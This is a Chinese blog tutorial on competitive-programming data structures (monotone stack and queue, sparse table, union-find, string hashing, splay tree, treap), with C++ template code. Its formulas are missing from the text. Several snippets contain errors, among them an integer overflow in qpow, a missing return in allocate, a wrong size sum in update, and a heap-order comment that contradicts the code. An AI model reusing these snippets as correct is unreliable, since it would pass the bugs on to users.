单调栈Monotone Stack，顾名思义，是一种栈状结构，且栈内元素单调。它既满足栈的“先进后出F I L O”性质，也符合元素从栈顶到栈底呈单调排列（或者从栈底到栈顶）。根据单调性的不同，大致可以分为“单调递增栈”和“单调递减栈”。若无特殊说明，单调栈的递增/递减判断顺序是从栈顶到栈底。

在单调栈构建过程中，有如下要求：

当前待插入元素与栈顶元素满足全栈的单调关系，则直接插入顶端。
反之，弹出栈顶元素直到满足第一点，此时直接插入。

例如一个单调递增栈的实现：

1
stack<int> stk;
2

3
void insert(int x) {
4
    while (!stk.empty() && stk.top() > x) stk.pop();
5
    stk.push(x);
6
}

没错就这么短

依据单调栈的这些性质，人们探索出了一种能在时间复杂度内求解下一大元素N G E问题（或者下一小元素）的算法。

我们新建一个数组用来记录下一大元素的下标，数组 nge[i] 即表示原序列中下标的元素的下一大元素的下标。让单调栈存储元素下标，当每次待插入的元素大于栈顶下标对应的元素时，则记录当前栈顶到 nge 中，并弹出栈顶。如此一来便处理得到了一个完整的 nge 数组

P5788 [模板] 单调栈

1
#include <bits/stdc++.h>
2

3
#define N 3000010
4
using namespace std;
5

6
typedef long long ll;
7

8
stack<int> stk;
9
ll arr[N];
10
int nge[N];
11
int n;
12

13
void NGE() {
14
    for (int i = 1; i <= n; i++) {
15
        while (!stk.empty() && arr[i] > arr[stk.top()]) {
16
            nge[stk.top()] = i;
17
            stk.pop();
18
        }
19
        stk.push(i);
20
    }
21
}
22

23
int main() {
24
    cin >> n;
25
    for (int i = 1; i <= n; i++) cin >> arr[i];
26
    NGE();
27
    for (int i = 1; i <= n; i++) cout << nge[i] << ' ';
28
    return 0;
29
}

展开收起

单调队列#

单调队列Monotone Queue其实和单调栈非常相似——给队列规定一个定长，让它在一段序列上滑动，当队首元素符合单调性则推入，否则就弹出队首直到满足单调性为止，同时，队列随着每次的滑动会自然抛除末尾的某个值。这样一来，单调队列就可以解决区间内最值的问题。

首先，我们依据单调栈里面的单调性检验，弹出队头不符合单调性的值。接着，把当前的值插入队头。如果队头元素的下标与队尾元素下标的差值超过了队列长度，则自然淘汰掉。反之输出队尾元素，它储存了当前区间的最值。

P1886 滑动窗口 /[模板] 单调队列

1
#include <bits/stdc++.h>
2

3
#define N 1000010
4
using namespace std;
5

6
typedef long long ll;
7

8
struct Node {
9
    int idx;
10
    ll v;
11
} nodes[N];
12

13
deque<Node> q;
14

15
int main() {
16
    ios::sync_with_stdio(false);
17
    cin.tie(nullptr);
18
    cout.tie(nullptr);
19

20
    int n, k;
21
    cin >> n >> k;
22
    for (int i = 1; i <= n; i++) {
23
        cin >> nodes[i].v;
24
        nodes[i].idx = i;
25
    }
26
    for (int i = 1; i <= n; i++) {
27
        while (!q.empty() && nodes[i].v < q.front().v) q.pop_front();
28
        q.push_front(nodes[i]);
29
        if (i - q.back().idx == k) q.pop_back();
30
        if (i >= k) cout << q.back().v << ' ';
31
    }
32
    cout << endl;
33
    q.clear();
34
    for (int i = 1; i <= n; i++) {
35
        while (!q.empty() && nodes[i].v > q.front().v) q.pop_front();
36
        q.push_front(nodes[i]);
37
        if (i - q.back().idx == k) q.pop_back();
38
        if (i >= k) cout << q.back().v << ' ';
39
    }
40
    return 0;
41
}

展开收起

ST 表#

ST 表Sparse Table是一种能在时间内预处理，回答区间最值查询（不支持修改，若要修改请移步线段树）的一种数据结构。借用了动态规划的思想，兼以步长的倍增。

对于一段静态序列（不变），为了求某段子列的最大值，先把这个子列分成两个更小的子序列。假设表示在区间内的最大值，对于单个点，即时，显然有（最大值就是自己）。否则，最大值即是左区间最大值和右区间最大值更大的那一个。

P3865 [模板] ST 表

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
using namespace std;
5

6
int a[N];
7
int logn[N];
8
int f[N][22];
9
int n;
10

11
void init() {
12
    for (int i = 1; i <= n; i++) f[i][0] = a[i];
13
    for (int j = 1; j <= logn[n]; j++) {
14
        for (int i = 1; i + (1 << j) - 1 <= n; i++) {
15
            f[i][j] = max(f[i][j - 1], f[i + (1 << (j - 1))][j - 1]);
16
        }
17
    }
18
}
19

20
void initLog() {
21
    logn[1] = 0;
22
    logn[2] = 1;
23
    for (int i = 3; i <= n + 100; i++) logn[i] = logn[i >> 1] + 1;
24
}
25

26
int main() {
27
    ios::sync_with_stdio(false);
28
    cin.tie(nullptr);
29
    cout.tie(nullptr);
30

31
    int m;
32
    cin >> n >> m;
33
    for (int i = 1; i <= n; i++) cin >> a[i];
34
    initLog();
35
    init();
36
    while (m--) {
37
        int l, r;
38
        cin >> l >> r;
39
        int tmp = logn[r - l + 1];
40
        cout << max(f[l][tmp], f[r - (1 << tmp) + 1][tmp]) << endl;
41
    }
42
    return 0;
43
}

展开收起

个人感觉理解难度有点大，建议先背下来

警示后人：不要用 endl，换成 \n 快了高达七倍不止！AC、TLE。

Note

在 C++ 中，数组的访问是行优先的。因此如果把 ST 表数组的第一维和第二维交换位置，那么程序的运行效率会变得更高

并查集#

并查集Disjoint Set Union，顾名思义，它是一种能完成数据合并、查询的集合数据结构。在路径压缩优化下，它能在平均的时间复杂度内完成一次操作（由证明，他也是的奠基人之一）。关于并查集时间复杂度的证明请看：并查集复杂度 - OI Wiki。

首先，我们需要一个数组来记录每个点的父节点。在查询时，我们采取从底部逐级向上递归搜索的方式，可以发现，我们在实际操作时并不会关心它到根节点路径上的其他非根节点，出于效率考虑，可以将沿途每个点的父节点都一次性设成全局父节点，而这一切都可以在递归查询的过程中完成。在合并时，无需将每个点都合并过去，只需要把某棵树的根节点并到另一棵树的根节点下面去就行了！

P3367 [模板] 并查集

1
#include <bits/stdc++.h>
2

3
using namespace std;
4

5
int p[10010];
6

7
int find(int x) {
8
    if (p[x] != x) p[x] = find(p[x]);
9
    return p[x];
10
}
11

12
void merge(int x, int y) {
13
    p[find(x)] = find(y);
14
}
15

16
bool query(int x, int y) {
17
    return find(x) == find(y);
18
}
19

20
int main() {
21
    int n, m;
22
    cin >> n >> m;
23
    for (int i = 1; i <= n; i++) p[i] = i;
24
    for (int i = 1; i <= m; i++) {
25
        int z, x, y;
26
        cin >> z >> x >> y;
27
        if (z == 1) merge(x, y);
28
        else {
29
            if (query(x, y)) cout << "Y" << endl;
30
            else cout << "N" << endl;
31
        }
32
    }
33
    return 0;
34
}

展开收起

关于带权并查集、种类并查集，请参阅这篇博客。

哈希/散列函数#

哈希Hash或者称“散列”，其运作原理是把一个数据映射到一个较小（但不能太小）的值域里进行比较。通常来说，我们希望哈希满足如下两个性质：

两个对象哈希值不同，则两个对象一定不同
哈希值相同，则两个对象不一定相同

人们把第二种情况中可能出现的“对象不同却哈希相同”的现象叫做“哈希碰撞Hash Clash”。

对于一个字符串，一般采取的是多项式散列的方法。首先把字符串的每一位挑出来，类比成一个数字位，然后采取形如的方法获取它的散列结果。举个例子，字符串会被散列成。一般来说，把设定成一个较大质数，发生碰撞的概率是很低的阳寿碰撞就没办法了，多交几次吧。

当然，你也可以使用碰撞率更低的 MD5，但是 C++ 并没有内置相关的库，你如果想用，那么就必须要完全背下来或者是现场复制。其实还不如自己选特殊值算。

按照上边的方法计算，复杂度是。如果加上询问，那就是。在多次询问子串哈希时，观察到有如下式子：

假设代表原字符串区间内的子串的哈希值，那么。现在就可以最快用的快速幂求解了。

P3370 [模板] 字符串哈希

1
#include <bits/stdc++.h>
2

3
using namespace std;
4

5
typedef long long ll;
6

7
const int MOD = 1000000007;
8
const int b = 2;
9
map<string, int> mp;
10

11
int qpow(int a, int b) {
12
    int res = 1;
13
    while (b) {
14
        if (a & 1) res = (ll) (res * a) % MOD;
15
        a = (ll) (a * a) % MOD;
16
        b >>= 1;
17
    }
18
    return res;
19
}
20

21
int hashStr(string s) {
22
    int res = 0;
23
    for (int i = 0; i < s.length(); i++) {
24
        res = (res + (s[i] - '0') * qpow(b, s.length() - i - 1)) % MOD;
25
    }
26
    return res;
27
}
28

29
int main() {
30
    ios::sync_with_stdio(false);
31
    cin.tie(nullptr);
32
    cout.tie(nullptr);
33

34
    int n;
35
    cin >> n;
36
    for (int i = 1; i <= n; i++) {
37
        string s;
38
        cin >> s;
39
        int h = hashStr(s);
40
        if (!mp.count(s)) mp[s] = h;
41
    }
42
    cout << mp.size() << endl;
43
    return 0;
44
}

展开收起

伸展树 Splay

Tue, 16 Jul 2024 00:56:53 GMT

上回书说到：平衡树。

伸展树简介An Indroduction to Splay#

由和于年提出的一种数据结构。后者证明了路径压缩的并查集的时间复杂度、求解强连通分量的其中一种方法也以他的名字命名。

是一种二叉搜索树，与平衡树类似，它也可以通过“旋转”进行自我平衡。通过“伸展操作Splay”来将某个节点旋转至根节点来满足二叉搜索树的性质。能够在均摊的时间复杂度内完成节点的查找、插入和删除操作，并且在极端数据面前也可以保持自身平衡，不至于退化成的链状结构（又是薄纱朴素的一天）。

伸展树的基本操作Basic Operations of Splay#

结构定义Splay Structure#

与前两个数据结构都不同的是，多维护了一项“父节点”的信息。因为在伸展树操作过程中，会涉及到将节点向树根转动的操作，这时记录一个父节点就显得非常有必要且方便的了。其余内容和普通的平衡树就相差无几了：

1
struct Splay {
2
    int s[2];   // 0 for left son, 1 for right son
3
    int p;      // Father node index
4
    int dat;    // Value
5
    int cnt;    // Duplication count
6
    int size;   // Node count in total
7
} tree[N];

再谈旋转Zigzagging Pt.II#

在平衡树 2.3节中，我们探讨了平衡树中左旋右旋的基本规则，并给出了三种简记技巧。在中，我们需要对平衡树的旋转操作进行一个更加深入的探讨。

可以发现，左旋和右旋是互为相反操作的。事实上，我们可以把整个旋转操作写成一个函数，通过传参来执行不同类型的旋转。我们只需要指定旋转的节点，至于旋转的取向则由程序自行决定（正确性是有保障的）。我们可以先分别写出左旋和右旋的函数，然后再把它们组合起来，最后别忘了更新父节点、以及上传子树大小（注意代码顺序）：

1
void rotate(int x) {
2
    int y = tree[x].p, z = tree[y].p;           // Father and grandfather
3
    int sn_pos = (tree[y].s[1] == x);           // Where the son is, 0 left, 1 right
4
    int fa_pos = (tree[z].s[1] == y);           // Where the father is, 0 left, 1 right
5
    tree[z].s[fa_pos] = x;                      // Son and father need a swap. If father was on the left previously, the son will be placed as a father on the left
6
    tree[x].p = z;                              // Update father 1
7
    tree[y].s[sn_pos] = tree[x].s[sn_pos ^ 1];  // In the mid-traversal order, node B is between X and Y, so it will be linked to the opposite side
8
    tree[tree[x].s[sn_pos ^ 1]].p = y;          // Update father 2
9
    tree[x].s[sn_pos ^ 1] = y;                  // After a round of zigzagging, left branch that connects father and son will be switched to the right side
10
    tree[y].p = x;                              // Update father 3
11
    update(y);
12
    update(x);
13
}

树的伸展To Splay in Splay#

伸展树的灵魂与核心就在于它可以将任意节点转动到其他节点下面去，这一操作就叫做“伸展Splay”。在中，每次对节点进行一次操作，就需要把它转动到根节点下面去。虽然听起来很玄学，这一操作的初衷是对可能接连而来的针对于该节点的访问进行快捷响应。好比你正在刷视频，你突然看了一个平常不常看的类型的视频，对于大数据来说，你的某次访问就预示着你接下来也可能会“沉迷”于此类视频，因而把这类视频的优先级提高，并作出快速响应。在存储了巨量数据的数据库里，把某类键值的优先级提高是常见加快查询速度的方式之一。

对于三个节点，我们在操作时一般会遇见如下的几种排布方式：

线形，即三个点都伸向相同方向
折线形，伸展方向不相同

对于第一种情况，给出的策略是先转后转；第二种情况则转两次。这样的旋转方式经过证明可以让整个算法的时间复杂度均摊在左右。

我们定义为：将节点旋转成的一个子节点，特殊地，如果，就代表将转到根节点下。那么当的子节点不是时，就不断旋转直到符合要求，期间判断三点形态（线形、折线形），然后采取对应的旋转策略即可。

1
void splay(int x, int k) {
2
    while (tree[x].p != k) {
3
        int y = tree[x].p, z = tree[y].p;           // Father and grandfather
4
        int sn_pos = (tree[y].s[1] == x);           // Son direction
5
        int fa_pos = (tree[z].s[1] == y);           // Father direction
6
        if (z != k) {
7
            // More than one rotation to go
8
            if (sn_pos == fa_pos) rotate(y);        // Linear
9
            else rotate(x);                         // Broken-linear
10
        }
11
        rotate(x);                                  // Anyhow X needs a rotation
12
    }
13
    if (!k) root = x;                               // Upgrade as the new root
14
}

前驱&后继Precursor & Successor#

为了找前驱/后继，我们就先需要找到带有给定权值的点。将这个点提到根上，方便我们的求解。基本思路和一样，都是一头走到黑地向子树里面找。

1
void findAndRaise(int idx, int dat) {
2
    splay(idx);
3
    if (tree[idx].dat > dat) findAndRaise(tree[idx].s[0], dat);
4
    else if (tree[idx].dat < dat) findAndRaise(tree[idx].s[1], dat);
5
}
6

7
int precursor(int dat) {
8
    findAndRaise(root, dat);
9
    int tmp = root;
10
    if (tree[tmp].s[0]) {
11
        tmp = tree[tmp].s[0];
12
        while (tree[tmp].s[1]) tmp = tree[tmp].s[1];
13
        return tmp;
14
    }
15
    return tmp;
16
}
17

18
int successor(int dat) {
19
    findAndRaise(root, dat);
20
    int tmp = root;
21
    if (tree[tmp].s[1]) {
22
        tmp = tree[tmp].s[1];
23
        while (tree[tmp].s[0]) tmp = tree[tmp].s[0];
24
        return tmp;
25
    }
26
    return tmp;
27
}

展开收起

插入操作Insertion#

单点插入Node Insertion#

为了维护节点的父节点信息，这次的插入操作和以往都不太一样。使用类似于深搜的遍历方式一路向下更新，我们的 allocate 函数也加入了父节点的初始化：

1
int allocate(int dat, int p) {
2
    idx++;
3
    tree[idx].dat = dat;
4
    tree[idx].p = p;
5
    tree[idx].cnt = 1;
6
    tree[idx].size = 1;
7
    return idx;
8
}
9

10
void insert(int dat) {
11
    int u = root, p = 0;
12
    while (u) {
13
        p = u;
14
        if (tree[p].dat > dat) u = tree[u].s[0];
15
        else if (tree[p].dat < dat) u = tree[u].s[1];
16
        else {
17
            tree[u].cnt++;
18
            splay(p);
19
            return;
20
        }
21
    }
22
    u = allocate(dat, p);
23
    if (p) {
24
        // Not first run
25
        if (tree[p].dat > dat) tree[p].s[0] = u;
26
        else tree[p].s[1] = u;
27
    }
28
    splay(u);
29
}

展开收起

区间插入Sequence Insertion#

假如我们要把一段序列插入到节点的后侧，映射到整棵树的中序遍历就是在后接上这段序列。因为整棵树维护的就是原始序列，换句话说，中序遍历就是原序列。那么我们只需要找到的后继，它在中序遍历里就是的后一个节点，原序列中也是如此。那我们只需要把区间插入到的左子树（对应中序遍历就是和之间的空隙）即可。

1
void insertInterval(int pos, int tot) {
2
    int l = getIdxByRank(root, pos + 1);
3
    int r = getIdxByRank(root, pos + 2);
4
    splay(l);
5
    splay(r, l);
6
    int rt = build(0, tot - 1, r);
7
    tree[r].s[0] = rt;
8
    update(r);
9
    update(l);
10
}

删除操作Deletion#

单点删除Node Deletion#

基本思路和平衡树一样，依然是把要删除的节点转到叶子上去。只不过在中，我们有一个利器—— 函数。从而，我们可以把要删除节点的前驱和后继求出来，然后把前驱转到根节点上，再把后继转到前驱下边。这样一来，前驱的右子树是后继，后继的左子树就是待删除节点。根据中序遍历的不变性，此时待删除节点成为了一个叶子节点，直接删除（置零）即可。

1
void removeNode(int idx, int dat) {
2
    int pre = precursor(dat);
3
    int suc = successor(dat);
4
    splay(pre);
5
    splay(suc, pre);
6
    int tar = tree[suc].s[0];
7
    if (tree[tar].cnt > 1) {
8
        tree[tar].cnt--;
9
        splay(tar);
10
    } else tree[suc].s[0] = 0;
11
}

区间删除Sequence Deletion#

单点删除是区间删除的一个特殊版本（）。我们找到区间左端点的前驱，以及右端点的后继。旋转前驱到根，再旋转后继到前驱下边。与单点删除相同，这个区间对应的树就是后继的左子树。直接删除即可。

1
void removeInterval(int pos, int tot) {
2
    int l = getIdxByRank(root, pos);
3
    int r = getIdxByRank(root, pos + tot + 1);
4
    splay(l);
5
    splay(r, l);
6
    gc(tree[r].s[0]);
7
    tree[r].s[0] = 0;
8
    update(r);
9
    update(l);
10
}

有关排名查询和数值查询的内容与平衡树相同，故直接给出。注意操作不要写到开头去了。

1
int getRankByData(int idx, int dat) {
2
    if (!idx) return 1;
3
    if (tree[idx].dat > dat) return getRankByData(tree[idx].s[0], dat) + 1;
4
    return getRankByData(tree[idx].s[1], dat) + (tree[idx].s[0] ? leftSubtree(idx).size : 0) + tree[idx].cnt;
5
}
6

7
int getDataByRank(int idx, int rank) {
8
    if (!idx) return -INF;
9
    if (leftSubtree(idx).size >= rank) return getDataByRank(tree[idx].s[0], rank);
10
    if (leftSubtree(idx).size + tree[idx].cnt >= rank) return tree[idx].dat;
11
    return getDataByRank(tree[idx].s[1], rank - (tree[idx].s[0] ? leftSubtree(idx).size : 0) - tree[idx].cnt);
12
}

伸展树的高级操作Gorgeous Operations of Splay#

我们虽然将归入平衡树之中（平衡树又归于之内），但是在一般情况下，伸展树是不满足二叉搜索树性质的。具体表现在进行过多次旋转之后。但是，在不停的变换之中，有一样东西是从始至终一直不变的——中序遍历。伸展树的中序遍历就是原序列，根据这个性质，人们提出了不同花样的伸展树玩法……

区间翻转Sequence Flipping#

在开始之前，我们首先要明白区间翻转在里的呈现是怎样的。显然，翻转前后，伸展树的中序遍历是相反的，那就可以画出如下对比图：

可以发现，这个序列翻转了，在图中的表现就是交换树的左右儿子。我们类比线段树，可以引入一个懒标记来记录区间翻转操作。当然这里的标记打法和线段树略有不同：

给打标记的时候这个点的左右儿子还没换，这与线段树的 lazytag 不同。线段树在上打标记，表示已经修改过了，将要修改儿子的贡献。
——樱雪喵《Splay 详细图解 & 轻量级代码实现》

那如何找到区间所在子树呢？其实你已经学过了，就在前边的区间删除中，分别找到左右端点的前驱和后继，然后旋转到一起，后继的左子树就是。为了防止找不到前驱和后继，我们在整个序列的一头一尾分别插入两个点，以防访问出错，我们的边界节点恰好就能做到这一点！

如果要进行如上的翻转操作，整个代码中就要加入下传标记的操作。在所有有关查找的地方加入标记下传即可。

1
void pushdown(int idx) {
2
    if (tree[idx].tag) {
3
        swap(tree[idx].s[0], tree[idx].s[1]);
4
        leftSubtree(idx).tag ^= 1;
5
        rightSubtree(idx).tag ^= 1;
6
        tree[idx].tag = 0;
7
    }
8
}

在查询排名和数值的时候下传标记即可。

启发式合并Heuristic Merging#

的合并就是单纯的将其中一棵树的每个点插入另一棵树中，但是这样可能会出现效率问题。当你把一个拥有很多节点的树合并到一棵非常小的树中时，由于插入操作的次数取决于插入子树的大小，显然会导致效率浪费。出于节省效率的目的，我们把大小更小的树合并到大小更大的树上去。

在这期间，我们就需要一个并查集来维护每个点所在的子树，把维护根节点的整型换成一个数组（毕竟有很多子树需要维护根节点的值）。在伸展操作（旋转到根节点）时更新根信息即可。

典例演练Pratical Examples#

洛谷 P3391 [模板] 文艺平衡树#

题目地址：P3391

题目难度：提高+/省选-

您需要写一种数据结构（可参考题目标题），来维护一个有序数列。
其中需要提供以下操作：翻转一个区间，例如原有序序列是，翻转区间是的话，结果是。
输入格式：
第一行两个正整数，表示序列长度与操作个数。序列中第项初始为。接下来行，每行两个正整数，表示翻转的区间。
输出格式：
输出一行个正整数，表示原始序列经过次变换后的结果。
数据范围：
对于的数据，，。

这道题额外涉及到一个知识点，输出树的中序遍历。我们知道中序遍历是按照“左-根-右”的顺序递归输出的，我们只需要判断是否存在左右子树，然后递归输出即可，注意特判首位的边界节点。

代码在云剪切板。

洛谷 P3224 [HNOI2012] 永无乡#

题目地址：P3224

题目难度：省选/NOI-

题目来源：湖南 2012 各省省选

永无乡包含座岛，编号从到，每座岛都有自己的独一无二的重要度，按照重要度可以将这座岛排名，名次用到来表示。某些岛之间由巨大的桥连接，通过桥可以从一个岛到达另一个岛。如果从岛出发经过若干座（含座）桥可以到达岛，则称岛和岛是连通的。
现在有两种操作：
B x y 表示在岛与岛之间修建一座新桥。
Q x k 表示询问当前与岛连通的所有岛中第重要的是哪座岛，即所有与岛连通的岛中重要度排名第小的岛是哪座，请你输出那个岛的编号。
输入格式：
第一行是用空格隔开的两个整数，分别表示岛的个数以及一开始存在的桥数。
第二行有个整数，第个整数表示编号为的岛屿的排名。
接下来行，每行两个整数，表示一开始存在一座连接编号为的岛屿和编号为的岛屿的桥。
接下来一行有一个整数，表示操作个数。
接下来行，每行描述一个操作。每行首先有一个字符，表示操作类型，然后有两个整数。

若为 Q，则表示询问所有与岛连通的岛中重要度排名第小的岛是哪座，请你输出那个岛的编号。

若为 B，则表示在岛与岛之间修建一座新桥。

输出格式：
对于每个询问操作都要依次输出一行一个整数，表示所询问岛屿的编号。如果该岛屿不存在，则输出。
数据范围：

对于的数据，保证 , 。

对于的数据，保证 , ，为一个的排列，，。

这道题就要运用到我们上边所讲的启发式合并。重定义我们的为把节点旋转到编号的树的号点下（默认即旋转到根）；以及插入函数为把权值和原编号（合并操作会增加新点，为了保证下标稳定故初始化时记录）分别为的点插入到号树下。那么每一次合并，我们只需要判断合并的两点是否已经在同一棵树下、两棵树哪一棵的大小更大（启发式），然后用一个深搜遍历小树，把小树里的点递归插入（复制）到大树里面即可。注意操作时用 root 数组包裹的地方，理解为重。

代码在云剪切板中。

洛谷 P2042 [NOI2005] 维护数列#

题目地址：P2042

题目难度：省选/NOI

题目来源：NOI 2005

请写一个程序，要求维护一个数列，支持以下种操作：
| 编号 | 名称 | 格式 | 说明 | | :—: | :----------: | :------------------------------------------------------------: | :---------------------------------------------------------------------------------------------------------- | | 1 | 插入 | | 在当前数列的第个数字后插入个数字：；若在数列首插入，则为 | | 2 | 删除 | | 从当前数列的第个数字开始连续删除个数字 | | 3 | 修改 | | 从当前数列的第个数字开始的连续个数字统一修改为 | | 4 | 翻转 | | 取出从当前数列的第个数字开始的个数字，翻转后放入原来的位置 | | 5 | 求和 | | 计算从当前数列的第个数字开始的个数字的和并输出 | | 6 | 求最大子列和 | | 求出当前数列中和最大的一段子列，并输出最大和 |
输入格式：
第一行包含两个整数和，表示初始时数列中数的个数，表示要进行的操作数目。
第二行包含个数字，描述初始时的数列。以下行，每行一条命令，格式参见问题描述中的表格。
输出格式：
对于输入数据中的和操作，向输出文件依次打印结果，每个答案（数字）占一行。
数据范围：

你可以认为在任何时刻，数列中至少有个数。

输入数据一定是正确的，即指定位置的数在数列中一定存在。

对于的数据，任何时刻数列中最多含有个数。

对于的数据，任何时刻数列中最多含有个数，任何时刻数列中任何一个数字均在内，，插入的数字总数不超过。

题面由 @syksykCCC 提供。

这道题需要我们复习一下之前线段树的知识，这篇博客介绍了线段树求解区间最大子列的方法。

代码在云剪贴板。

后记&鸣谢Epilogue & Special Thanks#

整整一天都花在调题对拍上了，做P2042的时候头发都掉了不少，不过总算是结束伸展树了。再加上你谷爆发了一次逆天的DDoS事件、还有那么多人在抢R166666666，我连题目都进不去，旁边的某位孩子评测了10分钟才出结果……真应了大佬一句话——“暑假的猴子最多”……

参考资料：

[1] Brailliant11001.高贵的伸展树——Splay [EB/OL]. https://www.luogu.com/article/2zmvdtov, 2024-2-20/2024-7-16

[2] 樱雪喵.Splay 详细图解 & 轻量级代码实现 [EB/OL]. https://www.cnblogs.com/ying-xue/p/17122409.html, 2023-9-10/2024-7-16

[3] 小蒟蒻yyb.Splay入门解析【保证让你看不懂（滑稽）】 [EB/OL] https://www.cnblogs.com/cjyyb/p/7499020.html, 2017-9-9/2024-7-16

[4] Brailliant11001.从零开始掌握线段树大法 [EB/OL]. https://www.luogu.com/article/4qwcw951, 2023-12-30/2024-7-17

平衡树 Treap

Sun, 14 Jul 2024 09:31:36 GMT

书接上回：二叉搜索树 BST。二叉搜索树是本文所讲平衡树的必要前置知识。

平衡树简介Brief Introduction of Treap#

平衡树是为了解决普通二叉搜索树（）时间复杂度退化现象而产生的一种复杂度更为稳定的数据结构（但它仍然属于的一个子类，因此具备的所有性质）。在极端的数据面前（具备单调性的数据），会退化成为一个的算法。但是通过引入随机化参数，在数学期望的控制下就可以整体上维持二叉树的平衡（左右子树的高度相差不大），从而让复杂度基本稳定在左右，是极为优秀的算法。一般情况下，我们都会选用平衡树而不是普通的二叉搜索树。

在平衡树中，同时存在着二叉搜索树的性质和堆的性质（Treap = Tree + Heap）。为了让树更加平衡，我们引入一个随机化的值，用来满足平衡树的堆性质。通过引入这么一个随机变量，把原先可能完全有序的序列打乱，让它从期望上尽量接近一棵满二叉树，进而实现稳定时间复杂度的效果。

平衡树的代码实现Treap Instance#

如何生成更好的随机数How to Random Better in CPP#

大部分人比较清楚的是我们的牢朋友 srand() 和 rand()，调用前者以设置随机数引擎的随机种子，后者用于生成一个随机数。然而，如果你忘记先使用 srand() 设置种子，程序会每一次默认一个固定的种子来生成随机数，这样一来生成出来的随机数就不“随机”了——它们会变成固定的一串序列。不过你也可以凭经验，记住某个种子来达到理想的效果……

那么如何生成更“随机”的随机数呢？标准库里内置了 random_device随机设备，向系统索取一个随机数；C++同时也内置了一个整数随机数生成算法 mt19937（以及它的64位长整型版本 mt19937_64，仍然需要人工设置种子），它的全称是梅森旋转算法Mersenne Twister，用它们生成随机数的代码如下：

1
// Random device
2
random_device rd;
3
unsigned r1 = rd();
4
// Mersenne Twister
5
mt19937 mt(seed);
6
unsigned r2 = mt();

使用无符号整型是为了防止溢出问题。

据说是无符号整型的溢出问题导致《文明6》中的“非暴力不合作运动发起人”甘地通常是第一个向整个世界扔核弹的领导人。

基本创建Deployment Methods#

本质上仍然属于，基本的结构定义保持不变。平衡树里引入了一个新的随机化变量来让整棵树保持平衡：

1
struct Treap {
2
// Some macro definitions
3
#define leftSubtree(idx) (tree[tree[idx].ls])
4
#define rightSubtree(idx) (tree[tree[idx].rs])
5
#define NEGAINF_NODE 2
6
#define POSIINF_NODE 1
7
    int ls, rs;     // Left and right son
8
    int dat, rnd;   // Real value and randomized data for zigzags
9
    int cnt;        // Duplication count
10
    int size;       // How many nodes are there inside its subtree
11
} tree[N];

全局变量和二叉搜索树基本相同，不同的是引入了一个随机设备 random_device 用来生成随机数。

1
int idx = 0, root;
2
random_device rd;

单点创建、建树的思路和二叉搜索树一模一样，只是在创建新点是要赋一个额外的随机化参数。

1
int allocate(int dat, bool on_init = false) {
2
    idx++;
3
    tree[idx].dat = dat;
4
    tree[idx].rnd = rd();  // Randomized param
5
    tree[idx].cnt = (on_init) ? 0 : 1;
6
    tree[idx].size = 1;
7
}
8

9
void build() {
10
    allocate(INF, true);
11
    allocate(-INF, true);
12
    tree[1].ls = 2;
13
    root = 1;
14
}

节点旋转Node Zigzaging#

节点的左旋Zag和右旋Zig可谓是平衡树的看门好戏了葡萄糖：我也是，这两者都是用来维持平衡树平衡性的利器。接下来介绍两种节点旋转的法则：

左旋Zag/Left Rotate#

看下图（图源 OI Wiki - 二叉搜索树 & 平衡树），节点经历了一轮左旋操作：

从图中我们可以直观地总结出左旋的规则：节点的右孩子向左上旋转成为原节点的父节点，原节点向左下旋转成为一个左孩子，让原先右孩子的左孩子变成原节点的右孩子。在本例中：节点向左下旋转变成左孩子，向左上旋转变成父节点，的右孩子成为的右孩子。

右旋Zig/Right Rotate#

看下图（图源 OI Wiki - 二叉搜索树 & 平衡树），节点经历了一轮右旋操作：

我们也可以总结出右旋的规则：节点的左孩子向右上方旋转变成父节点，原节点向右下转变为一个右孩子，让原先左孩子的右孩子变成原节点的左孩子。本例中：节点向右下旋转变成右孩子，向右上转变成父节点，的右孩子变成的左孩子。

简记技巧Jingling#

从实质角度来讲：

左旋拎右左挂右，右旋拎左右挂左。
——

如果还不能理解比如我，可以看下面这个基于代码的顺口溜：

《右旋——输钱》
钱赔了Q P Lq = tree[p].ls
赔了前任P L Q Rtree[p].ls = tree[q].rs
穷人贫Q R Ptree[q].rs = p
贫穷P Qp = q
《左旋——还钱》
强迫人Q P Rq = tree[p].rs
派人抢了P R Q Ltree[p].rs = tree[q].ls
钱来赔Q L Ptree[q].ls = p
赔钱P Qp = q

事实上可以只背一段，对应的另一种旋转的代码就是在保持左右节点不变的情况下（不更改 ls 和 rs 的位置），把访问下标的 p 和 q 对调即可。当然 p = q 这一句是通用的、q 的定义也要稍作变通。

或者你还可以从中序遍历的角度来记忆，我们知道左旋和右旋不改变原树的中序遍历。而对于形如下图的二叉搜索树：

我们可以通过把树压成一条线来获取它的中序遍历序列（如图），因为旋转后父子节点会交换，因此把中序链条拉起来之后要保证原来的子节点（蓝色圆形）要在上边。可以对照例图自行模拟该过程加深记忆。

1
void update(int idx) {
2
    tree[idx].size = (tree[idx].ls ? leftSubtree(idx).size : 0) + (tree[idx].rs ? rightSubtree(idx) : 0) + tree[idx].cnt;
3
}
4

5
void zig(int &p) {
6
    // Reference used
7
    // Right rotate
8
    int q = tree[p].ls;
9
    tree[p].ls = tree[q].rs;
10
    tree[q].rs = p;
11
    p = q;                      // Switch nodes
12
    update(tree[q].rs);
13
    update(q);
14
}
15

16
void zag(int &p) {
17
    // Left rotate
18
    int q = tree[p].rs;
19
    tree[p].rs = tree[q].ls;
20
    tree[q].ls = p;
21
    p = q;
22
    update(tree[q].ls);
23
    update(q);
24
}

展开收起

数据插入Data Insertion#

基本思路与相同，唯一不同的是我们需要在创建点的同时维护平衡树的堆性质。在旋转之后，可能变化的值有子树的大小，因此在每次旋转操作后要及时更新。

在这里，我着重实现小根堆平衡树，这意味着层数越小的节点所携带的随机数更小。如果当前插入一个值，需要被插入到左子树中，但是新节点的随机数更小一些，我们就需要把它提到上边去，对应起来就是右旋上去；反之就是左旋。简称：“左大右旋，右大左旋”。因为每次操作后都要更新根节点的数据，因此这里使用 else if。

1
void insert(int &idx, int dat) {
2
    if (!idx) idx = allocate(dat);
3
    else if (tree[idx].dat == dat) tree[idx].cnt++;
4
    else if (tree[idx].dat > dat) {
5
        insert(tree[idx].ls, dat);
6
        if (leftSubtree(idx).rnd > tree[idx].rnd) zig(idx);
7
    } else {
8
        insert(tree[idx].rs, dat);
9
        if (rightSubtree(idx).rnd > tree[idx].rnd) zag(idx);
10
    }
11
    update(idx);
12
}

节点删除Node Deletion#

基本思路是把一个节点不断旋转成一个叶子节点，然后直接删去。有如下几种情况：

如果待删去点的重复次数大于，那么减去一。
